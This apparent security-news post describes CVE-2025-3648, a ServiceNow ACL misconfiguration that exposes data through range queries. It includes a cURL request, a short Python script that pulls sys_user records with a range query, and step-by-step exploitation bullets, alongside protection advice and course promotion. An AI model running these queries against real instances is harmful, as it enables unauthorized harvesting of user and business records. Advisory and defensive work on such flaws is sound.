Listen to this Post
CVE-2025-3648 affects the ServiceNow Now Platform through misconfigurations in Access Control Lists (ACLs). The vulnerability arises when conditional ACL rules are set up without proper default-deny enforcement or fail to strictly restrict query ranges. Under specific conditions, both authenticated and unauthenticated users can perform range queries against data objects. These unrestricted range queries allow unauthorized actors to bypass standard permission checks and extract sensitive database records. The vulnerability relies on logic flaws within the execution path of conditional rules rather than memory corruption. When a request matches an loosely defined conditional ACL, the security engine grants access to data fields that should remain hidden. Attackers exploit this by sending crafted parameters designed to fall into the misconfigured evaluation loop. Consequently, an attacker can enumerate database entries and systematically harvest protected information. The issue manifests primarily in custom or legacy implementations where ACLs were not tightened after platform upgrades. Proper remediations require enforcing default-deny policies on range queries and reviewing all conditional script outputs.
DailyCVE Form:
Platform: ServiceNow Now Platform
Version: Pre-patch Release Versions
Vulnerability: Misconfigured Conditional ACLs
Severity: Medium (6.5)
date: July 08 2025
Prediction: Already patched officially
What Undercode Say:
Analytics
The vulnerability stems from improper access evaluation in ServiceNow ACL scripts. The default behavior failed to enforce a strict deny-all mechanism during complex range query requests, leading to exposure of sensitive backend data tables.
Querying vulnerable ServiceNow Endpoint using cURL to check ACL exposure curl -X GET "https://target-instance.service-now.com/api/now/table/sys_user?sysparm_limit=10" \ -H "Accept: application/json" \ -H "Content-Type: application/json"
import requests
Python script illustrating range query exploitation on misconfigured ACL
url = "https://target-instance.service-now.com/api/now/table/sys_user"
headers = {"Accept": "application/json"}
params = {"sysparm_query": "sys_id>=00000000000000000000000000000000"}
response = requests.get(url, headers=headers, params=params)
if response.status_code == 200:
print("Vulnerable: Data exposed via ACL misconfiguration")
print(response.json())
Exploit: (Educational Purposes!)
- Identify target ServiceNow instances hosting exposed API endpoints.
- Craft specific Range Query HTTP GET requests to bypass conditional ACL boundaries.
- Send requests targeting restricted system tables such as `sys_user` or custom business tables.
- Analyze JSON responses returned due to faulty `permit` evaluation in conditional script logic.
Protection:
- Configure Query Range ACLs to enforce default-deny mechanisms across all platform modules.
- Audit existing conditional ACL scripts to ensure proper authorization validation before returning data.
- Apply official security patches and platform updates provided by ServiceNow.
Impact:
- Unauthorized exposure of confidential database records and user information.
- Bypassing defined access control boundaries without required privilege escalation.
- Increased risk of organizational reconnaissance and target profiling.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
